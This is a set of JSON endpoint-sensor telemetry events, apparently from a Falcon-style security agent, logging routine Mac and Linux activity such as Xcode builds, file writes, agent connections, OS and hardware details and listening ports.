-{"event_simpleName":"CreateProcessArgs","ContextTimeStamp":"1625677524.929","ConfigStateHash":"3090255842","ContextProcessId":"365035560818271291","ContextThreadId":"365035560818271291","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","CommandLine":"t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules","Entitlements":"15","name":"CreateProcessArgsMac","id":"ffffffff-1111-11eb-8332-020506b18db5","EffectiveTransmissionClass":"2","aid":"ffffffffb3a3442585c05abc61e290fc","timestamp":"1625677525128","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend"}
-{"event_simpleName":"PdfFileWritten","ContextTimeStamp":"1625677488.523","ConfigStateHash":"3090255842","ContextProcessId":"364156540965623394","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"05000001000000000000000000000000f1321d0000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PdfFileWrittenMacV1","id":"ffffffff-1111-11eb-8903-022a1941b91f","EffectiveTransmissionClass":"2","aid":"ffffffffc4044541995bffd84b9df003","timestamp":"1625677488576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95"}
-{"event_simpleName":"GroupIdentity","GID":"242","AuthenticationUuidAsString":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"1119489580471877843","UserPrincipal":"user2@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1485","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GroupIdentityMacV2","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","timestamp":"1625677478379","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"MachOFileWritten","ContextTimeStamp":"1625622611.845","ConfigStateHash":"3967242894","MachOSubType":"3","ContextProcessId":"364938429384226082","Size":"0","ContextThreadId":"0","aip":"67.43.156.13","SHA256HashData":"c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198","FileIdentifier":"04000001000000000000000000000000ac41270400000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"MachOFileWrittenMacV3","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677479336","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl"}
-{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1625622608.014","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP6":"0:0:0:0:0:0:0:0","ConfigStateHash":"3967242894","ConnectionFlags":"0","ContextProcessId":"364938390018585510","RemotePort":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"8770","Entitlements":"15","name":"NetworkListenIP6MacV10","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff44564c2f8d76394cb25c31ab","ConnectionDirection":"2","InContext":"0","timestamp":"1625677478929","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"CurrentSystemTags","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","SystemTableIndex":"0","Entitlements":"15","name":"CurrentSystemTagsMacV1","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","EffectiveTransmissionClass":"0","aid":"ffffffff62714a708030d494ca0a7e60","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677502693","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1625677533.027","ConfigStateHash":"1620585913","ContextProcessId":"362208380891022165","Size":"596224","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewExecutableWrittenMacV2","id":"ffffffff-1111-11eb-985c-02152dd35bc1","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677533060","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader","VnodeModificationType":"0"}
-{"event_simpleName":"LfoUploadDataComplete","LfoUploadFlags":"4","AttemptNumber":"0","ConfigStateHash":"3090255842","SourceFileName":"/Users/user5/.rbenv/versions/2.6.5/bin/ruby","Size":"3876424","aip":"67.43.156.14","SHA256HashData":"d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a","UploadId":"8023668629276690295","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LfoUploadDataCompleteMacV3","id":"ffffffff-1111-11eb-a2ab-024aafff599f","EffectiveTransmissionClass":"2","aid":"fffffffffbea48169985c2c2bae89d1d","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677428827","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"LightningLatencyInfo","LightningLatencyState":"3","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LightningLatencyInfoMacV1","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","EffectiveTransmissionClass":"0","aid":"ffffffffd452449b8d1eb7d85b146650","timestamp":"1625677453146","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NeighborListIP4","ConfigStateHash":"1620585913","NeighborList":"40-C7-29-FF-FF-FF|192.168.2.1|1|64-9A-BE-FF-FF-FF|192.168.2.10|0|F0-FF-FF-FF-A0-14|192.168.2.43|0|DE-58-FF-FF-5D-3B|192.168.2.113|0|5E-AA-FF-FF-FF-20|192.168.2.128|0|44-FF-FF-FF-03-DD|192.168.2.136|0|EE-74-EE-EE-FF-0D|192.168.2.137|0|3A-FF-FF-FF-03-26|192.168.2.144|0|DE-79-FF-FF-FF-D4|192.168.2.145|0|0E-24-FF-EE-EE-87|192.168.2.152|0|CC-D9-AC-AF-66-F8|192.168.2.153|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP4MacV1","id":"ffffffff-1111-11eb-9dc0-06c6f5278873","EffectiveTransmissionClass":"3","aid":"ffffffff8eb649cf8d82be1e65629a0e","timestamp":"1625677450083","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ZipFileWritten","ContextTimeStamp":"1625677454.557","ConfigStateHash":"3090255842","ContextProcessId":"365039419134863763","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"07000001000000000000000000000000b1445a0900000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ZipFileWrittenMacV1","id":"ffffffff-1111-11eb-ab6e-0668ec51180b","EffectiveTransmissionClass":"2","aid":"ffffffff2d984e32b702789b54f0f811","timestamp":"1625677454723","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip"}
-{"AgentVersion":"6.24.13701.0","aip":"67.43.156.14","ConfigIDBase":"65994753","BiosReleaseDate":"01/06/2021","CpuFeaturesMask":"7494065083858915","ChasisManufacturer":"Apple Inc.","SystemSerialNumber":"C02F649EMD6R","event_platform":"Mac","AgentLoadFlags":"0","CpuVendor":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","BiosVersion":"1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)","CpuSignature":"591594","EffectiveTransmissionClass":"0","MoboProductName":"Mac-E1008331FDC96864","timestamp":"1625677460451","MicrocodeSignature":"16045690984229358334","event_simpleName":"AgentOnline","ContextTimeStamp":"1625677445.731","SystemProductName":"MacBookPro16,1","MoboManufacturer":"Apple Inc.","ConfigStateHash":"3967242894","ConfigBuild":"1007.4.0013701.1","SystemSku":" ","SensorGroupingTags":"","ConfigurationVersion":"10","AgentLocalTime":"1625677445.731","BiosManufacturer":"Apple Inc.","Entitlements":"15","name":"AgentOnlineMacV13","ConfigIDPlatform":"4","ComputerName":"comp2","ChassisType":"9","ConfigIDBuild":"13701","SystemManufacturer":"Apple Inc.","aid":"ffffffffbea440b9aad8b5bf222d303f","ProvisionState":"1","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"Zero"}
-{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1625677438.515","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053399098988534","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileAccessedMacV1","id":"ffffffff-1111-11eb-956a-02748d01bd3d","EffectiveTransmissionClass":"2","aid":"ffffffff8eca418b7a861be9c5f7de1d","timestamp":"1625677438553","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/daemon.plist"}
-{"MajorVersion":"19","event_simpleName":"OsVersionInfo","OSVersionFileData":"3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a","ConfigStateHash":"3967242894","AgentVersion":"6.24.13701.0","aip":"67.43.156.14","MinorVersion":"6","OSVersionString":"Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OsVersionInfoMacV3","RFMState":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","OSVersionFileName":"/System/Library/CoreServices/SystemVersion.plist","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677462356","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ConfigBuild":"1007.8.0010912.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1284133626","ConfigStateData":"0,0,1007.8.0010912.1|1,c,0|1,10,1|1,11,0|1,12,1|1,13,1|1,14,19|1,15,3|1,1f,4|1,22,3|1,3b,1|1,59,2d|1,d3,263|1,d4,0|1,eb,36|1,201,1|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-8e88-068a8894a447","aid":"ffffffff4f4044b689d6420d303e4ecd","timestamp":"1625677436454","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"1333055909","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53","DownloadPort":"443","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"LFODownloadConfirmationLinV1","CompletionEventId":"Event_KmaExtDownloadCompleteLinV1","id":"ffffffff-1111-11eb-8dee-0201f64cca29","aid":"ffffffff88b948c6abeeee910f6d8c33","timestamp":"1625677365906","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"KernelModuleArchiveExt11611"}
-{"event_simpleName":"TarFileWritten","ContextTimeStamp":"1625677353.633","ConfigStateHash":"3090255842","ContextProcessId":"365049009681176519","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"050000010000000000000000000000005749420100000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"TarFileWrittenMacV1","id":"ffffffff-1111-11eb-9497-028a0bfcf603","EffectiveTransmissionClass":"2","aid":"ffffffffe6244708bd09a6c111f63f4a","timestamp":"1625677353895","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem"}
-{"event_simpleName":"AgentConnect","ConfigStateHash":"3967242894","NetworkContainmentState":"0","VerifiedCertificate":"7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf","aip":"67.43.156.14","ConfigIDBase":"65994753","FailedConnectCount":"404","ConnectType":"1","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"AgentConnectMacV5","ConfigIDPlatform":"4","PreviousConnectTime":"1625673963.331","id":"ffffffff-1111-11eb-ba54-02a3616f6acd","ConfigIDBuild":"13701","ConnectTime":"1625677350.208","EffectiveTransmissionClass":"2","aid":"ffffffff2977460db2898ece881a9358","ProvisionState":"0","timestamp":"1625677350466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"3090255842","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys","DownloadPort":"443","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LFODownloadConfirmationMacV1","CompletionEventId":"Event_ChannelDataDownloadCompleteMacV1","id":"ffffffff-1111-11eb-8b09-069ee8920171","EffectiveTransmissionClass":"0","aid":"ffffffff5e8b4724aa10088c4f71cd9a","timestamp":"1625677525235","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"C-00000503-00000000-00000001.sys"}
-{"event_simpleName":"AsepFileChange","ContextTimeStamp":"1625677482.148","ConfigStateHash":"1620585913","ContextProcessId":"364936256754041721","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"AsepFileChangeMacV1","id":"ffffffff-1111-11eb-9e50-064be6e56df7","EffectiveTransmissionClass":"2","aid":"fffffffff1a64286a233d09974b1b377","timestamp":"1625677482403","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs","VnodeModificationType":"6"}
-{"event_simpleName":"TerminateProcess","RawProcessId":"76482","ContextTimeStamp":"1625677510.959","ConfigStateHash":"1284133626","ContextProcessId":"130732827553316","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0010912.1","event_platform":"Lin","TargetProcessId":"130732827553316","Entitlements":"15","name":"TerminateProcessLinV2","id":"ffffffff-1111-11eb-97d0-02b2813216eb","EffectiveTransmissionClass":"2","aid":"ffffffffdd094539a02b394c69a70aaf","timestamp":"1625677511067","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ConfigBuild":"1007.4.0013701.1","event_simpleName":"FirewallEnabled","event_platform":"Mac","ConfigStateHash":"3090255842","Entitlements":"15","name":"FirewallEnabledMacV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-a9e6-067d21325a03","EffectiveTransmissionClass":"2","aid":"ffffffff70cf4070af024397f25007c7","timestamp":"1625677372544","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"FsVolumeUnmounted","VolumeName":"Install Google Drive","ContextTimeStamp":"1625677332.283","ConfigStateHash":"3090255842","aip":"67.43.156.14","VolumeMediaBSDName":"disk2s2","VolumeMountPoint":"/private/tmp/KSInstallAction.dn6J5Xa1M4/m","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"FsVolumeUnmountedMacV1","id":"ffffffff-1111-11eb-8fd9-06866dcbd3d5","EffectiveTransmissionClass":"2","aid":"ffffffffed984e248973f3ada1eb543d","timestamp":"1625677334451","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"}
-{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677474.525","ConfigStateHash":"2300098580","ConnectionFlags":"0","ContextProcessId":"328911864662804336","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"23165","Entitlements":"15","name":"NetworkListenIP4LinV5","id":"ffffffff-1111-11eb-88fd-06a17d0fdc05","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff2a0d484da8f7a9cf8bde7164","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677474879","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ELFFileWritten","ContextTimeStamp":"1625677526.828","ConfigStateHash":"1620585913","ContextProcessId":"363122200934575406","Size":"38798952","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027","FileIdentifier":"040000010000000000000000000000006793f80200000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ELFFileWrittenMacV1","id":"ffffffff-1111-11eb-985c-02152dd35bc1","ELFSubType":"4","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677527114","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe"}
-{"MajorVersion":"4","event_simpleName":"OsVersionInfo","OSVersionFileData":"4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a","BootArgs":"BOOT_IMAGE\u003d/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64 root\u003dUUID\u003d9f548782-8f9f-4dd9-873a-436ea8f3e8a6 ro console\u003dtty0 console\u003dttyS0,115200n8 net.ifnames\u003d0 biosdevname\u003d0 nvme_core.io_timeout\u003d4294967295 rd.emergency\u003dpoweroff rd.shell\u003d0","ConfigStateHash":"3712162471","AgentVersion":"6.19.11611.0","aip":"67.43.156.14","MinorVersion":"14","OSVersionString":"Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"OsVersionInfoLinV4","RFMState":"1","id":"ffffffff-1111-11eb-93d4-0624c36f3a79","OSVersionFileName":"/etc/os-release","aid":"ffffffff2d1245c0a32d5efcf9351272","timestamp":"1625677383466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1625677439.099","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"364849347227309005","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"04000001000000000000000000000000cdf3100100000000","ConfigBuild":"1007.4.0013701.1","UID":"0","USN":"89566685","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileModifiedMacV2","id":"ffffffff-1111-11eb-9262-0268ab613b49","EffectiveTransmissionClass":"2","aid":"ffffffff761b4a7d9962dd9e7e776044","timestamp":"1625677439398","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/user9.plist/"}
-{"event_simpleName":"NeighborListIP6","ConfigStateHash":"3090255842","NeighborList":"1C-AB-C0-9B-10-A2|2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP6MacV1","id":"ffffffff-1111-11eb-ac8a-06b5e1186139","EffectiveTransmissionClass":"3","aid":"ffffffff01c7450180352a7c58a28fb4","timestamp":"1625677489786","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677382.785","UserName":"user3","ConfigStateHash":"1325353086","ContextProcessId":"364952259879648742","Size":"8052","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6","FileIdentifier":"04000001000000000000000000000000ef07570000000000","ConfigBuild":"1007.4.0013806.1","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"15","name":"NewScriptWrittenMacV3","id":"ffffffff-1111-11eb-9dc1-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffffcebd42c0890d59b54279d3d3","timestamp":"1625677383057","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh"}
-{"event_simpleName":"SystemCapacity","ConfigStateHash":"1620585913","aip":"67.43.156.13","CpuClockSpeed":"2400000000","PhysicalCoreCount":"8","CpuFeaturesMask":"7494065083908067","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LogicalCoreCount":"16","Entitlements":"15","name":"SystemCapacityMacV1","CpuVendor":"0","CpuProcessorName":"Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz","id":"ffffffff-1111-11eb-b714-066001392751","CpuSignature":"591597","EffectiveTransmissionClass":"3","aid":"fffffffff2c7432859ff6bbe1a0bd6af","ProcessorPackageCount":"1","MemoryTotal":"17179869184","timestamp":"1625677387216","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
